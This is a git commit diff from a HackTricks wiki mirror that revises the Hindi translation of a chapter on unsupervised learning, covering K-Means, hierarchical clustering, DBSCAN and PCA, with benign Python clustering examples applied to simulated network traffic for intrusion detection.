mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/AI/AI-Unsupervised-Learning-Algorithms.md', 'src/binary
This commit is contained in:
parent
b44e85b927
commit
3d16e3175f
@ -16,22 +16,23 @@ K-Means एक सेंट्रॉइड-आधारित क्लस्ट
|
||||
4. **Repeat**: क्लस्टर असाइनमेंट स्थिर होने तक (सेंट्रॉइड अब महत्वपूर्ण रूप से नहीं चलते) चरण 2-3 को दोहराएं।
|
||||
|
||||
> [!TIP]
|
||||
> *Use cases in cybersecurity:* K-Means का उपयोग नेटवर्क घटनाओं को क्लस्टर करके घुसपैठ पहचान के लिए किया जाता है। उदाहरण के लिए, शोधकर्ताओं ने KDD कप 99 घुसपैठ डेटा सेट पर K-Means लागू किया और पाया कि यह प्रभावी रूप से ट्रैफ़िक को सामान्य बनाम हमले के क्लस्टरों में विभाजित करता है। प्रैक्टिस में, सुरक्षा विश्लेषक लॉग प्रविष्टियों या उपयोगकर्ता व्यवहार डेटा को समान गतिविधियों के समूह खोजने के लिए क्लस्टर कर सकते हैं; कोई भी बिंदु जो एक अच्छी तरह से निर्मित क्लस्टर में नहीं आता है, विसंगतियों को इंगित कर सकता है (जैसे, एक नया मैलवेयर प्रकार जो अपना छोटा क्लस्टर बना रहा है)। K-Means मैलवेयर परिवार वर्गीकरण में भी मदद कर सकता है, बाइनरी को व्यवहार प्रोफाइल या विशेषता वेक्टर के आधार पर समूहित करके।
|
||||
> *Use cases in cybersecurity:* K-Means का उपयोग नेटवर्क घटनाओं को क्लस्टर करके घुसपैठ पहचान के लिए किया जाता है। उदाहरण के लिए, शोधकर्ताओं ने KDD कप 99 घुसपैठ डेटा सेट पर K-Means लागू किया और पाया कि यह प्रभावी रूप से ट्रैफ़िक को सामान्य बनाम हमले के क्लस्टरों में विभाजित करता है। प्रैक्टिस में, सुरक्षा विश्लेषक लॉग प्रविष्टियों या उपयोगकर्ता व्यवहार डेटा को समान गतिविधियों के समूह खोजने के लिए क्लस्टर कर सकते हैं; कोई भी बिंदु जो एक अच्छी तरह से निर्मित क्लस्टर में नहीं है, विसंगतियों को इंगित कर सकता है (जैसे, एक नया मैलवेयर प्रकार जो अपना छोटा क्लस्टर बना रहा है)। K-Means मैलवेयर परिवार वर्गीकरण में भी मदद कर सकता है, बाइनरी को व्यवहार प्रोफाइल या विशेषता वेक्टर के आधार पर समूहित करके।
|
||||
|
||||
#### Selection of K
|
||||
क्लस्टरों की संख्या (K) एक हाइपरपैरामीटर है जिसे एल्गोरिदम चलाने से पहले परिभाषित करने की आवश्यकता होती है। Elbow Method या Silhouette Score जैसी तकनीकें K के लिए उपयुक्त मान निर्धारित करने में मदद कर सकती हैं, क्लस्टरिंग प्रदर्शन का मूल्यांकन करके:
|
||||
|
||||
- **Elbow Method**: प्रत्येक बिंदु से उसके असाइन किए गए क्लस्टर सेंट्रॉइड तक के वर्ग दूरी का योग K के एक फ़ंक्शन के रूप में प्लॉट करें। "Elbow" बिंदु की तलाश करें जहाँ कमी की दर तेज़ी से बदलती है, जो उपयुक्त संख्या के क्लस्टरों को इंगित करती है।
|
||||
- **Elbow Method**: प्रत्येक बिंदु से उसके असाइन किए गए क्लस्टर सेंट्रॉइड तक के वर्ग दूरी का योग K के एक फ़ंक्शन के रूप में प्लॉट करें। एक "कोहनी" बिंदु की तलाश करें जहाँ कमी की दर तेज़ी से बदलती है, जो उपयुक्त संख्या के क्लस्टरों को इंगित करती है।
|
||||
- **Silhouette Score**: विभिन्न K मानों के लिए सिल्हूट स्कोर की गणना करें। उच्च सिल्हूट स्कोर बेहतर परिभाषित क्लस्टरों को इंगित करता है।
|
||||
|
||||
#### Assumptions and Limitations
|
||||
|
||||
K-Means मानता है कि **क्लस्टर गोलाकार और समान आकार के हैं**, जो सभी डेटा सेट के लिए सही नहीं हो सकता है। यह सेंट्रॉइड के प्रारंभिक स्थान के प्रति संवेदनशील है और स्थानीय न्यूनतम पर समेकित हो सकता है। इसके अतिरिक्त, K-Means उन डेटा सेट के लिए उपयुक्त नहीं है जिनमें विभिन्न घनत्व या गैर-गोलाकार आकार और विभिन्न स्केल की विशेषताएँ हैं। यह सुनिश्चित करने के लिए कि सभी विशेषताएँ दूरी की गणनाओं में समान रूप से योगदान करती हैं, सामान्यीकरण या मानकीकरण जैसे पूर्व-प्रसंस्करण चरणों की आवश्यकता हो सकती है।
|
||||
K-Means मानता है कि **क्लस्टर गोलाकार और समान आकार के हैं**, जो सभी डेटा सेट के लिए सही नहीं हो सकता है। यह सेंट्रॉइड के प्रारंभिक स्थान के प्रति संवेदनशील है और स्थानीय न्यूनतम पर संकुचित हो सकता है। इसके अतिरिक्त, K-Means उन डेटा सेट के लिए उपयुक्त नहीं है जिनमें विभिन्न घनत्व या गैर-गोलाकार आकार और विभिन्न स्केल की विशेषताएँ हैं। यह सुनिश्चित करने के लिए कि सभी विशेषताएँ दूरी की गणनाओं में समान रूप से योगदान करती हैं, सामान्यीकरण या मानकीकरण जैसे पूर्व-प्रसंस्करण चरणों की आवश्यकता हो सकती है।
|
||||
|
||||
<details>
|
||||
<summary>Example -- Clustering Network Events
|
||||
</summary>
|
||||
नीचे हम नेटवर्क ट्रैफ़िक डेटा का अनुकरण करते हैं और इसे क्लस्टर करने के लिए K-Means का उपयोग करते हैं। मान लीजिए कि हमारे पास कनेक्शन अवधि और बाइट गिनती जैसी विशेषताओं वाले घटनाएँ हैं। हम "सामान्य" ट्रैफ़िक के 3 क्लस्टर और एक छोटे क्लस्टर का निर्माण करते हैं जो एक हमले के पैटर्न का प्रतिनिधित्व करता है। फिर हम K-Means चलाते हैं यह देखने के लिए कि क्या यह उन्हें अलग करता है।
|
||||
नीचे हम नेटवर्क ट्रैफ़िक डेटा का अनुकरण करते हैं और इसे क्लस्टर करने के लिए K-Means का उपयोग करते हैं। मान लीजिए कि हमारे पास कनेक्शन अवधि और बाइट गिनती जैसी विशेषताओं वाले घटनाएँ हैं। हम "सामान्य" ट्रैफ़िक के 3 क्लस्टर और एक छोटे क्लस्टर का निर्माण करते हैं जो एक हमले के पैटर्न का प्रतिनिधित्व करता है। फिर हम K-Means चलाते हैं यह देखने के लिए कि क्या यह उन्हें अलग करता है।
|
||||
</details>
|
||||
```python
|
||||
import numpy as np
|
||||
from sklearn.cluster import KMeans
|
||||
@ -63,19 +64,19 @@ print(f" Cluster {idx}: {center}")
|
||||
|
||||
हायरार्किकल क्लस्टरिंग एक हायरार्की बनाता है जो या तो एक बॉटम-अप (एग्लोमेरेटिव) दृष्टिकोण या एक टॉप-डाउन (डिविज़िव) दृष्टिकोण का उपयोग करता है:
|
||||
|
||||
1. **एग्लोमेरेटिव (बॉटम-अप)**: प्रत्येक डेटा बिंदु को एक अलग क्लस्टर के रूप में शुरू करें और निकटतम क्लस्टरों को क्रमिक रूप से मर्ज करें जब तक एक ही क्लस्टर न रह जाए या एक रोकने का मानदंड पूरा न हो जाए।
|
||||
2. **डिविज़िव (टॉप-डाउन)**: सभी डेटा बिंदुओं को एक ही क्लस्टर में शुरू करें और क्रमिक रूप से क्लस्टरों को विभाजित करें जब तक प्रत्येक डेटा बिंदु अपना स्वयं का क्लस्टर न बन जाए या एक रोकने का मानदंड पूरा न हो जाए।
|
||||
1. **एग्लोमेरेटिव (बॉटम-अप)**: प्रत्येक डेटा बिंदु को एक अलग क्लस्टर के रूप में शुरू करें और निकटतम क्लस्टरों को क्रमिक रूप से मर्ज करें जब तक एकल क्लस्टर शेष न रह जाए या एक स्टॉपिंग मानदंड पूरा न हो जाए।
|
||||
2. **डिविज़िव (टॉप-डाउन)**: सभी डेटा बिंदुओं को एक ही क्लस्टर में शुरू करें और क्रमिक रूप से क्लस्टरों को विभाजित करें जब तक प्रत्येक डेटा बिंदु अपना स्वयं का क्लस्टर न बन जाए या एक स्टॉपिंग मानदंड पूरा न हो जाए।
|
||||
|
||||
एग्लोमेरेटिव क्लस्टरिंग को इंटर-क्लस्टर दूरी की परिभाषा और मर्ज करने के लिए लिंक क्राइटेरियन की आवश्यकता होती है। सामान्य लिंक विधियों में सिंगल लिंक (दो क्लस्टरों के बीच निकटतम बिंदुओं की दूरी), कम्प्लीट लिंक (दूरस्थ बिंदुओं की दूरी), एवरेज लिंक आदि शामिल हैं, और दूरी मेट्रिक अक्सर यूक्लिडियन होती है। लिंक के चयन से उत्पादित क्लस्टरों का आकार प्रभावित होता है। क्लस्टरों की संख्या K को पूर्व-निर्धारित करने की आवश्यकता नहीं है; आप इच्छित स्तर पर डेंड्रोग्राम को "कट" कर सकते हैं ताकि आवश्यक संख्या में क्लस्टर प्राप्त हो सके।
|
||||
एग्लोमेरेटिव क्लस्टरिंग को इंटर-क्लस्टर दूरी की परिभाषा और मर्ज करने के लिए लिंक क्राइटेरियन की आवश्यकता होती है। सामान्य लिंक विधियों में सिंगल लिंक (दो क्लस्टरों के बीच निकटतम बिंदुओं की दूरी), कम्प्लीट लिंक (दूरस्थ बिंदुओं की दूरी), एवरेज लिंक आदि शामिल हैं, और दूरी मेट्रिक अक्सर यूक्लिडियन होती है। लिंक का चयन उत्पादित क्लस्टरों के आकार को प्रभावित करता है। क्लस्टरों की संख्या K को पूर्व-निर्धारित करने की आवश्यकता नहीं है; आप इच्छित संख्या के क्लस्टरों को प्राप्त करने के लिए डेंड्रोग्राम को चुने गए स्तर पर "कट" कर सकते हैं।
|
||||
|
||||
हायरार्किकल क्लस्टरिंग एक डेंड्रोग्राम उत्पन्न करता है, जो एक पेड़ के समान संरचना है जो विभिन्न स्तरों पर क्लस्टरों के बीच संबंधों को दिखाता है। डेंड्रोग्राम को इच्छित स्तर पर काटा जा सकता है ताकि विशिष्ट संख्या में क्लस्टर प्राप्त हो सकें।
|
||||
हायरार्किकल क्लस्टरिंग एक डेंड्रोग्राम उत्पन्न करता है, जो एक पेड़ के समान संरचना है जो विभिन्न स्तरों पर क्लस्टरों के बीच संबंधों को दिखाता है। डेंड्रोग्राम को इच्छित स्तर पर काटा जा सकता है ताकि एक विशिष्ट संख्या के क्लस्टर प्राप्त किए जा सकें।
|
||||
|
||||
> [!TIP]
|
||||
> *साइबर सुरक्षा में उपयोग के मामले:* हायरार्किकल क्लस्टरिंग घटनाओं या संस्थाओं को एक पेड़ में व्यवस्थित कर सकती है ताकि संबंधों को देखा जा सके। उदाहरण के लिए, मैलवेयर विश्लेषण में, एग्लोमेरेटिव क्लस्टरिंग व्यवहारात्मक समानता के आधार पर नमूनों को समूहित कर सकती है, जो मैलवेयर परिवारों और विविधताओं की एक हायरार्की प्रकट करती है। नेटवर्क सुरक्षा में, कोई IP ट्रैफ़िक प्रवाह को क्लस्टर कर सकता है और ट्रैफ़िक के उप-समूहों को देखने के लिए डेंड्रोग्राम का उपयोग कर सकता है (जैसे, प्रोटोकॉल द्वारा, फिर व्यवहार द्वारा)। चूंकि आपको पहले से K का चयन करने की आवश्यकता नहीं है, यह नए डेटा का अन्वेषण करते समय उपयोगी है जिसके लिए हमले की श्रेणियों की संख्या अज्ञात है।
|
||||
|
||||
#### धारणाएँ और सीमाएँ
|
||||
|
||||
हायरार्किकल क्लस्टरिंग किसी विशेष क्लस्टर आकार की धारणा नहीं करती है और नेस्टेड क्लस्टरों को कैप्चर कर सकती है। यह समूहों के बीच वर्गीकरण या संबंधों की खोज के लिए उपयोगी है (जैसे, परिवार उप-समूहों द्वारा मैलवेयर को समूहित करना)। यह निर्धारक है (कोई यादृच्छिक प्रारंभिककरण मुद्दे नहीं)। एक प्रमुख लाभ डेंड्रोग्राम है, जो सभी पैमानों पर डेटा की क्लस्टरिंग संरचना में अंतर्दृष्टि प्रदान करता है - सुरक्षा विश्लेषक एक उपयुक्त कटऑफ तय कर सकते हैं ताकि अर्थपूर्ण क्लस्टरों की पहचान की जा सके। हालाँकि, यह गणनात्मक रूप से महंगा है (आमतौर पर $O(n^2)$ समय या खराब के लिए साधारण कार्यान्वयन) और बहुत बड़े डेटा सेट के लिए व्यवहार्य नहीं है। यह एक लालची प्रक्रिया भी है - एक बार मर्ज या विभाजन हो जाने के बाद, इसे पूर्ववत नहीं किया जा सकता, जो यदि कोई गलती जल्दी होती है तो उप-आदर्श क्लस्टरों की ओर ले जा सकता है। आउटलेयर भी कुछ लिंक रणनीतियों को प्रभावित कर सकते हैं (सिंगल-लिंक "चेनिंग" प्रभाव पैदा कर सकता है जहां क्लस्टर आउटलेयर के माध्यम से लिंक होते हैं)।
|
||||
हायरार्किकल क्लस्टरिंग किसी विशेष क्लस्टर आकार का अनुमान नहीं लगाती है और नेस्टेड क्लस्टरों को कैप्चर कर सकती है। यह समूहों के बीच वर्गीकरण या संबंधों की खोज के लिए उपयोगी है (जैसे, मैलवेयर को परिवार उप-समूहों द्वारा समूहित करना)। यह निर्धारक है (कोई यादृच्छिक प्रारंभिककरण मुद्दे नहीं)। एक प्रमुख लाभ डेंड्रोग्राम है, जो सभी पैमानों पर डेटा की क्लस्टरिंग संरचना में अंतर्दृष्टि प्रदान करता है - सुरक्षा विश्लेषक एक उपयुक्त कटऑफ तय कर सकते हैं ताकि अर्थपूर्ण क्लस्टरों की पहचान की जा सके। हालाँकि, यह गणनात्मक रूप से महंगा है (आमतौर पर $O(n^2)$ समय या खराब के लिए साधारण कार्यान्वयन) और बहुत बड़े डेटा सेट के लिए व्यवहार्य नहीं है। यह एक लालची प्रक्रिया भी है - एक बार मर्ज या विभाजन हो जाने के बाद, इसे पूर्ववत नहीं किया जा सकता, जो यदि कोई गलती जल्दी होती है तो उप-आदर्श क्लस्टरों की ओर ले जा सकता है। आउटलेयर भी कुछ लिंक रणनीतियों को प्रभावित कर सकते हैं (सिंगल-लिंक "चेनिंग" प्रभाव पैदा कर सकता है जहां क्लस्टर आउटलेयर के माध्यम से लिंक होते हैं)।
|
||||
|
||||
<details>
|
||||
<summary>उदाहरण -- घटनाओं की एग्लोमेरेटिव क्लस्टरिंग
|
||||
@ -114,16 +115,16 @@ DBSCAN कोर बिंदुओं, सीमा बिंदुओं औ
|
||||
- **सीमा बिंदु**: एक बिंदु जो एक कोर बिंदु के ε दूरी के भीतर है लेकिन इसमें MinPts से कम पड़ोसी हैं।
|
||||
- **शोर बिंदु**: एक बिंदु जो न तो कोर बिंदु है और न ही सीमा बिंदु।
|
||||
|
||||
क्लस्टरिंग एक अनदेखे कोर बिंदु को चुनकर शुरू होती है, इसे एक नए क्लस्टर के रूप में चिह्नित करती है, फिर सभी बिंदुओं को पुनरावृत्त रूप से जोड़ती है जो इससे घनत्व-प्राप्य हैं (कोर बिंदु और उनके पड़ोसी, आदि)। सीमा बिंदुओं को निकटतम कोर के क्लस्टर में जोड़ा जाता है। सभी प्राप्य बिंदुओं का विस्तार करने के बाद, DBSCAN एक अन्य अनदेखे कोर पर जाता है ताकि एक नया क्लस्टर शुरू किया जा सके। कोई भी बिंदु जो किसी भी कोर द्वारा नहीं पहुंचा, उसे शोर के रूप में लेबल किया जाता है।
|
||||
क्लस्टरिंग एक अनदेखे कोर बिंदु को चुनकर शुरू होती है, इसे एक नए क्लस्टर के रूप में चिह्नित करती है, फिर सभी बिंदुओं को जोड़ती है जो इससे घनत्व-प्राप्य हैं (कोर बिंदु और उनके पड़ोसी, आदि)। सीमा बिंदुओं को निकटतम कोर के क्लस्टर में जोड़ा जाता है। सभी प्राप्य बिंदुओं का विस्तार करने के बाद, DBSCAN एक अन्य अनदेखे कोर पर जाता है ताकि एक नया क्लस्टर शुरू किया जा सके। किसी भी कोर द्वारा नहीं पहुंचाए गए बिंदु शोर के रूप में लेबल किए जाते हैं।
|
||||
|
||||
> [!TIP]
|
||||
> *साइबर सुरक्षा में उपयोग के मामले:* DBSCAN नेटवर्क ट्रैफ़िक में विसंगति पहचान के लिए उपयोगी है। उदाहरण के लिए, सामान्य उपयोगकर्ता गतिविधि विशेषता स्थान में एक या अधिक घने क्लस्टर बना सकती है, जबकि नए हमले के व्यवहार बिखरे हुए बिंदुओं के रूप में प्रकट होते हैं जिन्हें DBSCAN शोर (आउटलेयर) के रूप में लेबल करेगा। इसका उपयोग नेटवर्क प्रवाह रिकॉर्ड को क्लस्टर करने के लिए किया गया है, जहां यह पोर्ट स्कैन या सेवा से इनकार ट्रैफ़िक को बिंदुओं के विरल क्षेत्रों के रूप में पहचान सकता है। एक और अनुप्रयोग मैलवेयर वेरिएंट को समूहित करना है: यदि अधिकांश नमूने परिवारों द्वारा क्लस्टर होते हैं लेकिन कुछ कहीं भी फिट नहीं होते, तो वे कुछ शून्य-दिन के मैलवेयर हो सकते हैं। शोर को चिह्नित करने की क्षमता का अर्थ है कि सुरक्षा टीमें उन आउटलेयर की जांच पर ध्यान केंद्रित कर सकती हैं।
|
||||
> *साइबर सुरक्षा में उपयोग के मामले:* DBSCAN नेटवर्क ट्रैफ़िक में विसंगति पहचान के लिए उपयोगी है। उदाहरण के लिए, सामान्य उपयोगकर्ता गतिविधि विशेषता स्थान में एक या अधिक घने क्लस्टर बना सकती है, जबकि नए हमले के व्यवहार बिखरे हुए बिंदुओं के रूप में प्रकट होते हैं जिन्हें DBSCAN शोर (आउटलेयर) के रूप में लेबल करेगा। इसका उपयोग नेटवर्क प्रवाह रिकॉर्ड को क्लस्टर करने के लिए किया गया है, जहां यह पोर्ट स्कैन या सेवा से इनकार ट्रैफ़िक को बिंदुओं के विरल क्षेत्रों के रूप में पहचान सकता है। एक और अनुप्रयोग मैलवेयर वेरिएंट को समूहित करना है: यदि अधिकांश नमूने परिवारों द्वारा क्लस्टर होते हैं लेकिन कुछ कहीं फिट नहीं होते, तो वे कुछ शून्य-दिन के मैलवेयर हो सकते हैं। शोर को चिह्नित करने की क्षमता का अर्थ है कि सुरक्षा टीमें उन आउटलेयर की जांच पर ध्यान केंद्रित कर सकती हैं।
|
||||
|
||||
#### धारणाएँ और सीमाएँ
|
||||
|
||||
**धारणाएँ और ताकतें:** DBSCAN गोलाकार क्लस्टरों की धारणा नहीं करता है - यह मनमाने आकार के क्लस्टर (यहां तक कि श्रृंखला के समान या निकटवर्ती क्लस्टर) खोज सकता है। यह डेटा घनत्व के आधार पर स्वचालित रूप से क्लस्टरों की संख्या निर्धारित करता है और प्रभावी रूप से आउटलेयर को शोर के रूप में पहचान सकता है। यह असामान्य आकृतियों और शोर के साथ वास्तविक-विश्व डेटा के लिए शक्तिशाली बनाता है। यह आउटलेयर के प्रति मजबूत है (K-Means के विपरीत, जो उन्हें क्लस्टरों में मजबूर करता है)। यह तब अच्छी तरह से काम करता है जब क्लस्टरों की घनत्व लगभग समान हो।
|
||||
**धारणाएँ और ताकतें:** DBSCAN गोलाकार क्लस्टरों की धारणा नहीं करता है - यह मनमाने आकार के क्लस्टर (यहां तक कि श्रृंखला के समान या निकटवर्ती क्लस्टर) खोज सकता है। यह डेटा घनत्व के आधार पर स्वचालित रूप से क्लस्टरों की संख्या निर्धारित करता है और प्रभावी रूप से आउटलेयर को शोर के रूप में पहचान सकता है। यह असामान्य आकृतियों और शोर के साथ वास्तविक दुनिया के डेटा के लिए शक्तिशाली बनाता है। यह आउटलेयर के प्रति मजबूत है (K-Means के विपरीत, जो उन्हें क्लस्टरों में मजबूर करता है)। यह तब अच्छी तरह से काम करता है जब क्लस्टरों की घनत्व लगभग समान हो।
|
||||
|
||||
**सीमाएँ:** DBSCAN का प्रदर्शन उचित ε और MinPts मान चुनने पर निर्भर करता है। यह विभिन्न घनत्व वाले डेटा के साथ संघर्ष कर सकता है - एकल ε घने और विरल क्लस्टरों दोनों को समायोजित नहीं कर सकता। यदि ε बहुत छोटा है, तो यह अधिकांश बिंदुओं को शोर के रूप में लेबल करता है; बहुत बड़ा होने पर, और क्लस्टर गलत तरीके से मिल सकते हैं। इसके अलावा, DBSCAN बहुत बड़े डेटा सेट पर अप्रभावी हो सकता है (नासमझी से $O(n^2)$, हालांकि स्थानिक अनुक्रमण मदद कर सकता है)। उच्च-आयामी विशेषता स्थानों में, "ε के भीतर दूरी" की अवधारणा कम अर्थपूर्ण हो सकती है (आयाम की शाप), और DBSCAN को सावधानीपूर्वक पैरामीटर ट्यूनिंग की आवश्यकता हो सकती है या यह सहज क्लस्टरों को खोजने में विफल हो सकता है। इसके बावजूद, HDBSCAN जैसे विस्तार कुछ मुद्दों (जैसे विभिन्न घनत्व) को संबोधित करते हैं।
|
||||
**सीमाएँ:** DBSCAN का प्रदर्शन उपयुक्त ε और MinPts मानों को चुनने पर निर्भर करता है। यह विभिन्न घनत्व वाले डेटा के साथ संघर्ष कर सकता है - एकल ε घने और विरल क्लस्टरों दोनों को समायोजित नहीं कर सकता। यदि ε बहुत छोटा है, तो यह अधिकांश बिंदुओं को शोर के रूप में लेबल करता है; बहुत बड़ा होने पर, और क्लस्टर गलत तरीके से मिल सकते हैं। इसके अलावा, DBSCAN बहुत बड़े डेटा सेट पर अप्रभावी हो सकता है (नासमझी से $O(n^2)$, हालांकि स्थानिक अनुक्रमण मदद कर सकता है)। उच्च-आयामी विशेषता स्थानों में, "ε के भीतर दूरी" का विचार कम अर्थपूर्ण हो सकता है (आयाम की शाप), और DBSCAN को सावधानीपूर्वक पैरामीटर ट्यूनिंग की आवश्यकता हो सकती है या यह सहज क्लस्टरों को खोजने में विफल हो सकता है। इसके बावजूद, HDBSCAN जैसे विस्तार कुछ मुद्दों (जैसे विभिन्न घनत्व) को संबोधित करते हैं।
|
||||
|
||||
<details>
|
||||
<summary>उदाहरण -- शोर के साथ क्लस्टरिंग
|
||||
@ -149,61 +150,61 @@ num_noise = np.sum(labels == -1)
|
||||
print(f"DBSCAN found {num_clusters} clusters and {num_noise} noise points")
|
||||
print("Cluster labels for first 10 points:", labels[:10])
|
||||
```
|
||||
In this snippet, we tuned `eps` and `min_samples` to suit our data scale (15.0 in feature units, and requiring 5 points to form a cluster). DBSCAN should find 2 clusters (the normal traffic clusters) and flag the 5 injected outliers as noise. We output the number of clusters vs. noise points to verify this. In a real setting, one might iterate over ε (using a k-distance graph heuristic to choose ε) and MinPts (often set to around the data dimensionality + 1 as a rule of thumb) to find stable clustering results. The ability to explicitly label noise helps separate potential attack data for further analysis.
|
||||
इस स्निपेट में, हमने `eps` और `min_samples` को हमारे डेटा स्केल (15.0 फीचर यूनिट्स में, और एक क्लस्टर बनाने के लिए 5 पॉइंट्स की आवश्यकता) के अनुसार समायोजित किया। DBSCAN को 2 क्लस्टर (सामान्य ट्रैफ़िक क्लस्टर) खोजने चाहिए और 5 इंजेक्टेड आउटलेयर्स को शोर के रूप में चिह्नित करना चाहिए। हम इसकी पुष्टि के लिए क्लस्टर की संख्या बनाम शोर पॉइंट्स का आउटपुट देते हैं। एक वास्तविक सेटिंग में, कोई ε (ε चुनने के लिए k-डिस्टेंस ग्राफ ह्यूरिस्टिक का उपयोग करते हुए) और MinPts (अक्सर डेटा आयाम + 1 के आसपास सेट किया जाता है) पर पुनरावृत्ति कर सकता है ताकि स्थिर क्लस्टरिंग परिणाम मिल सकें। शोर को स्पष्ट रूप से लेबल करने की क्षमता संभावित हमले के डेटा को आगे के विश्लेषण के लिए अलग करने में मदद करती है।
|
||||
|
||||
</details>
|
||||
|
||||
### Principal Component Analysis (PCA)
|
||||
### प्रिंसिपल कंपोनेंट एनालिसिस (PCA)
|
||||
|
||||
PCA एक **आयाम घटाने** की तकनीक है जो एक नए सेट के आर्थोगोनल अक्ष (प्रधान घटक) खोजती है जो डेटा में अधिकतम विविधता को कैप्चर करती है। सरल शब्दों में, PCA डेटा को एक नए समन्वय प्रणाली पर घुमाता और प्रक्षिप्त करता है ताकि पहला प्रधान घटक (PC1) संभवतः सबसे बड़ी विविधता को समझाए, दूसरा PC (PC2) PC1 के लिए सबसे बड़ी विविधता को समझाए, और इसी तरह। गणितीय रूप से, PCA डेटा के सहसंवेदन मैट्रिक्स के गुणांक वेक्टर की गणना करता है - ये गुणांक वेक्टर प्रधान घटक दिशाएँ हैं, और संबंधित गुणांक मान यह दर्शाते हैं कि प्रत्येक द्वारा समझाई गई विविधता की मात्रा कितनी है। इसका उपयोग अक्सर विशेषता निष्कर्षण, दृश्यता, और शोर कमी के लिए किया जाता है।
|
||||
PCA एक **आयाम घटाने** की तकनीक है जो एक नए सेट के ऑर्थोगोनल अक्ष (प्रिंसिपल कंपोनेंट्स) को खोजती है जो डेटा में अधिकतम विविधता को कैप्चर करती है। सरल शब्दों में, PCA डेटा को एक नए कोऑर्डिनेट सिस्टम पर घुमाता और प्रक्षिप्त करता है ताकि पहला प्रिंसिपल कंपोनेंट (PC1) संभवतः सबसे बड़ी विविधता को समझाए, दूसरा PC (PC2) PC1 के लिए सबसे बड़ी विविधता को समझाए, और इसी तरह। गणितीय रूप से, PCA डेटा के सहसंवेदन मैट्रिक्स के ईगेनवेक्टर की गणना करता है - ये ईगेनवेक्टर प्रिंसिपल कंपोनेंट दिशाएँ हैं, और संबंधित ईगेनवैल्यू प्रत्येक द्वारा समझाई गई विविधता की मात्रा को इंगित करती है। इसका उपयोग अक्सर फीचर एक्सट्रैक्शन, विज़ुअलाइज़ेशन, और शोर घटाने के लिए किया जाता है।
|
||||
|
||||
ध्यान दें कि यह उपयोगी है यदि डेटा सेट के आयामों में **महत्वपूर्ण रैखिक निर्भरताएँ या सहसंबंध** हैं।
|
||||
ध्यान दें कि यह उपयोगी है यदि डेटा सेट के आयामों में **महत्वपूर्ण रैखिक निर्भरताएँ या सहसंबंध** होते हैं।
|
||||
|
||||
PCA डेटा के प्रधान घटकों की पहचान करके काम करता है, जो अधिकतम विविधता की दिशाएँ होती हैं। PCA में शामिल चरण हैं:
|
||||
1. **मानकीकरण**: डेटा को केंद्रित करें, औसत को घटाकर और इसे इकाई विविधता में स्केल करके।
|
||||
PCA डेटा के प्रिंसिपल कंपोनेंट्स की पहचान करके काम करता है, जो अधिकतम विविधता की दिशाएँ होती हैं। PCA में शामिल चरण हैं:
|
||||
1. **मानकीकरण**: डेटा को केंद्रित करें, औसत को घटाकर और इसे यूनिट विविधता में स्केल करके।
|
||||
2. **सहसंवेदन मैट्रिक्स**: मानकीकृत डेटा के सहसंवेदन मैट्रिक्स की गणना करें ताकि विशेषताओं के बीच संबंधों को समझा जा सके।
|
||||
3. **गुणांक मान विघटन**: गुणांक मान विघटन को सहसंवेदन मैट्रिक्स पर करें ताकि गुणांक मान और गुणांक वेक्टर प्राप्त हो सकें।
|
||||
4. **प्रधान घटक चुनें**: गुणांक मानों को अवरोही क्रम में क्रमबद्ध करें और सबसे बड़े गुणांक मानों के लिए शीर्ष K गुणांक वेक्टर चुनें। ये गुणांक वेक्टर नए विशेषता स्थान का निर्माण करते हैं।
|
||||
5. **डेटा को रूपांतरित करें**: चयनित प्रधान घटकों का उपयोग करके मूल डेटा को नए विशेषता स्थान पर प्रक्षिप्त करें।
|
||||
PCA का उपयोग डेटा दृश्यता, शोर कमी, और अन्य मशीन लर्निंग एल्गोरिदम के लिए पूर्व-प्रसंस्करण चरण के रूप में व्यापक रूप से किया जाता है। यह डेटा के आयाम को कम करने में मदद करता है जबकि इसकी आवश्यक संरचना को बनाए रखता है।
|
||||
3. **ईगेनवैल्यू विघटन**: सहसंवेदन मैट्रिक्स पर ईगेनवैल्यू विघटन करें ताकि ईगेनवैल्यू और ईगेनवेक्टर प्राप्त हो सकें।
|
||||
4. **प्रिंसिपल कंपोनेंट्स का चयन करें**: ईगेनवैल्यू को अवरोही क्रम में क्रमबद्ध करें और सबसे बड़ी ईगेनवैल्यू के लिए शीर्ष K ईगेनवेक्टर का चयन करें। ये ईगेनवेक्टर नए फीचर स्पेस का निर्माण करते हैं।
|
||||
5. **डेटा को ट्रांसफॉर्म करें**: चयनित प्रिंसिपल कंपोनेंट्स का उपयोग करके मूल डेटा को नए फीचर स्पेस में प्रक्षिप्त करें।
|
||||
PCA का उपयोग डेटा विज़ुअलाइज़ेशन, शोर घटाने, और अन्य मशीन लर्निंग एल्गोरिदम के लिए पूर्व-प्रसंस्करण चरण के रूप में किया जाता है। यह डेटा के आयाम को घटाने में मदद करता है जबकि इसकी आवश्यक संरचना को बनाए रखता है।
|
||||
|
||||
#### गुणांक मान और गुणांक वेक्टर
|
||||
#### ईगेनवैल्यू और ईगेनवेक्टर
|
||||
|
||||
गुणांक मान एक स्केलर है जो उसके संबंधित गुणांक वेक्टर द्वारा कैप्चर की गई विविधता की मात्रा को दर्शाता है। एक गुणांक वेक्टर विशेषता स्थान में एक दिशा का प्रतिनिधित्व करता है जिसके साथ डेटा सबसे अधिक भिन्न होता है।
|
||||
एक ईगेनवैल्यू एक स्केलर है जो उसके संबंधित ईगेनवेक्टर द्वारा कैप्चर की गई विविधता की मात्रा को इंगित करता है। एक ईगेनवेक्टर फीचर स्पेस में एक दिशा का प्रतिनिधित्व करता है जिसके साथ डेटा सबसे अधिक भिन्न होता है।
|
||||
|
||||
कल्पना करें कि A एक वर्ग मैट्रिक्स है, और v एक गैर-शून्य वेक्टर है ऐसा कि: `A * v = λ * v`
|
||||
कल्पना करें कि A एक वर्ग मैट्रिक्स है, और v एक गैर-शून्य वेक्टर है ताकि: `A * v = λ * v`
|
||||
जहाँ:
|
||||
- A एक वर्ग मैट्रिक्स है जैसे [ [1, 2], [2, 1]] (जैसे, सहसंवेदन मैट्रिक्स)
|
||||
- v एक गुणांक वेक्टर है (जैसे, [1, 1])
|
||||
- v एक ईगेनवेक्टर है (जैसे, [1, 1])
|
||||
|
||||
फिर, `A * v = [ [1, 2], [2, 1]] * [1, 1] = [3, 3]` जो गुणांक मान λ होगा गुणांक वेक्टर v के साथ, जिससे गुणांक मान λ = 3 होगा।
|
||||
